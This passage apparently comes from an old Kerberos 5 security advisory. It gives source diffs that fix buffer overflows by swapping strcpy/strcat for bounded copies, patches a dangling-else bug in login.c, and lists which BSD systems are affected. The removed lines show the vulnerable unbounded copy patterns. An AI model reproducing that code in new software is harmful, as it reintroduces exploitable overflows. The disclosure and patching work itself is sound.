--- 234,241 ----
if (retval == 0 && full_name && full_name[0]) {
instance = full_name[0];
} else {
! strncpy(buf, instance, sizeof(buf));
! buf[sizeof(buf) - 1] = '\0';
retval = krb5_get_realm_domain(context, realm, &domain);
if (retval)
return retval;
***************
*** 242,249 ****
for (cp = domain; *cp; cp++)
if (isupper(*cp))
*cp = tolower(*cp);
! strcat(buf, ".");
! strcat(buf, domain);
krb5_xfree(domain);
}
instance = buf;
--- 243,250 ----
for (cp = domain; *cp; cp++)
if (isupper(*cp))
*cp = tolower(*cp);
! strncat(buf, ".", sizeof(buf) - 1 - strlen(buf));
! strncat(buf, domain, sizeof(buf) - 1 - strlen(buf));
krb5_xfree(domain);
}
instance = buf;
Index: lib/krb5/os/kuserok.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/os/kuserok.c,v
retrieving revision 5.20.4.2
diff -c -r5.20.4.2 kuserok.c
*** kuserok.c 1999/09/23 00:50:45 5.20.4.2
--- kuserok.c 2000/04/29 03:00:55
***************
*** 80,87 ****
if ((pwd = getpwnam(luser)) == NULL) {
return(FALSE);
}
! (void) strcpy(pbuf, pwd->pw_dir);
! (void) strcat(pbuf, "/.k5login");
if (access(pbuf, F_OK)) { /* not accessible */
/*
--- 80,88 ----
if ((pwd = getpwnam(luser)) == NULL) {
return(FALSE);
}
! (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
! pbuf[sizeof(pbuf) - 1] = '\0';
! (void) strncat(pbuf, "/.k5login", sizeof(pbuf) - 1 - strlen(pbuf));
if (access(pbuf, F_OK)) { /* not accessible */
/*
Index: lib/krb5/posix/syslog.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/lib/krb5/posix/syslog.c,v
retrieving revision 5.8
diff -c -r5.8 syslog.c
*** syslog.c 1998/07/17 20:39:43 5.8
--- syslog.c 2000/04/29 03:00:55
***************
*** 115,121 ****
(void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
for (p = tbuf; *p; ++p);
if (LogTag) {
! (void)strcpy(p, LogTag);
for (; *p; ++p);
}
if (LogStat & LOG_PID) {
--- 115,121 ----
(void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
for (p = tbuf; *p; ++p);
if (LogTag) {
! (void)strncpy(p, LogTag, sizeof(tbuf) - 1 - (p - tbuf));
for (; *p; ++p);
}
if (LogStat & LOG_PID) {
***************
*** 146,151 ****
--- 146,156 ----
}
(void)vsprintf(p, fmt_cpy, ap);
+ /* Bounds checking?? If a system doesn't have syslog, we
+ probably can't rely on it having vsnprintf either. Try not
+ to let a buffer overrun be exploited. */
+ if (strlen (tbuf) >= sizeof (tbuf))
+ abort ();
/* output the message to the local logger */
if (send(LogFile, tbuf, cnt = strlen(tbuf), 0) >= 0 ||
***************
*** 169,175 ****
if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
return;
(void)alarm((u_int)0);
! (void)strcat(tbuf, "\r");
p = strchr(tbuf, '>') + 1;
(void)write(fd, p, cnt + 1 - (p - tbuf));
(void)close(fd);
--- 174,181 ----
if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
return;
(void)alarm((u_int)0);
! tbuf[sizeof(tbuf) - 1] = '\0';
! (void)strncat(tbuf, "\r", sizeof(tbuf) - 1 - strlen(tbuf));
p = strchr(tbuf, '>') + 1;
(void)write(fd, p, cnt + 1 - (p - tbuf));
(void)close(fd);
It turns out that if you compile krb5-1.1 or krb5-1.1.1 with
the --without-krb4 option, a dangling "else" clause is activated
in login.c that has disastrous results. The patch below deals
with this.
Index: login.c
===================================================================
RCS file: /cvs/krbdev/krb5/src/appl/bsd/login.c,v
retrieving revision 5.77
retrieving revision 5.78
diff -c -r5.77 -r5.78
*** login.c 1999/12/15 02:14:55 5.77
--- login.c 2000/02/06 21:57:32 5.78
***************
*** 1455,1465 ****
#ifdef KRB5_GET_TICKETS
if (login_krb5_get_tickets)
dofork();
- else
#endif
#ifdef KRB4_GET_TICKETS
! if (login_krb4_get_tickets)
! dofork();
#endif
/* If the user's shell does not do job control we should put it in a
--- 1455,1464 ----
#ifdef KRB5_GET_TICKETS
if (login_krb5_get_tickets)
dofork();
#endif
#ifdef KRB4_GET_TICKETS
! else if (login_krb4_get_tickets)
! dofork();
#endif
/* If the user's shell does not do job control we should put it in a
***************
*** 1587,1597 ****
#ifdef KRB5_GET_TICKETS
if (forwarded_v5_tickets)
destroy_tickets();
- else
#endif
#ifdef KRB4_GET_TICKETS
! if (got_v4_tickets)
! destroy_tickets();
#endif
#ifdef OQUOTA
--- 1586,1595 ----
#ifdef KRB5_GET_TICKETS
if (forwarded_v5_tickets)
destroy_tickets();
#endif
#ifdef KRB4_GET_TICKETS
! else if (got_v4_tickets)
! destroy_tickets();
#endif
#ifdef OQUOTA
FreeBSD is not vulnerable by default (as Kerberos is not
installed). OpenBSD uses the KTH Kerberos distribution, which
has been reported to be not vulnerable.
NetBSD has two codebases for crypto software, a legacy of the US's
export laws until recently (and also some patent issues). The
crypto-intl tree intended for use by those outside the US was not
affected. For the crypto-us tree,
* krb5 was not affected
* krb4 was affected, and has been fixed in NetBSD-current
since Jeff's announcement; this fix is making it's way into
the 1.4.x release branch. We will release an advisory and
patches shortly.
The vulnerabilities described in this advisory will be addressed
in Kerberos 5 version 1.2. This version will be available from
the MIT Kerberos web site:
http://web.mit.edu/kerberos/www/